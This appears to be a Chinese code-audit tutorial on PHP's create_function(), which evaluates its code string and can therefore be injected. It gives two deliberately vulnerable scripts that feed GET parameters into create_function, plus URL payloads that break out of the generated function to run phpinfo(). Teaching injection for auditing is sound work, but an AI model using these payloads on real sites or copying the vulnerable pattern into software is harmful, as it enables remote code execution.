PHP代码 之create_function()函数

create_function()简介

适用 PHP4>4.0.1   PHP 5   PHP7

   

语法:
     
    create_function(string $args,  string $code)
     
    string $args 声明的函数变量部分
     
    string $code 执行的方法代码部分

函数功能:

    <?php
    $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    echo "New anonymous function: $newfunc\n";
    echo $newfunc(2, M_E) . "\n";
    ?>

分析:

create_function() 会创造一个匿名函数 (lambda样式)  此处创建了一个叫  lamvda_1 的函数, 在第一个 echo 中 显示名字, 并在第二个echo 语句中执行了 此函数。

create_function() 函数 会在内部 执行 eval()  , 我们发现是执行了 后面的 return 语句,属于create_function()  中的第二个参数 string $code  的位置

因此,上述匿名函数的创建与执行过程等价于:

    <?php
    function lambda_1($a,$b){
        return "ln($a) + ln($b) = " . log($a * $b);
    }
    ?>

create_function( ) 函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程, 可以实现对代码注入的 payload 构造,从而 进行漏洞挖掘和找出存在缺陷

代码注入实例:

0x01:

    <?php
    error_reporting(0);
    $sort_by = $_GET['sort_by'];
    $sorter = 'strnatcasecmp';
    $databases=array('1234','4321');
    $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
    usort($databases, create_function('$a, $b', $sort_function));
    ?>

payload:

http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

 还原实际的组合过程:

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

匿名函数实际的执行:

    function niming($a,$b){
    return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
    }

$sort_by 是我们传入的值。

回车换行整理一下:

    function niming($a,$b){
    return 1 * ' . $sorter . '($a["' . $sort_by '"]);
    }
    phpinfo();/*
    }

0x02

    <?php
    $c=$_GET['c'];
    $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
    $array=array('reall long string here,boy','this','midding lenth','larget');
    usort($array,$lambda);
    print_r($array);
    ?>

payload:

http://localhost/test2.php?c=1));}phpinfo();/*

还原实际的组合过程:

$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函数实际的执行:

     function ft($a,$b){
        return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
     }

换行整理:

     function ft($a,$b){
        return (strlen($a)-strlen($b)+" . "strlen(1));
        }
        phpinfo();
        /*));
     }
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值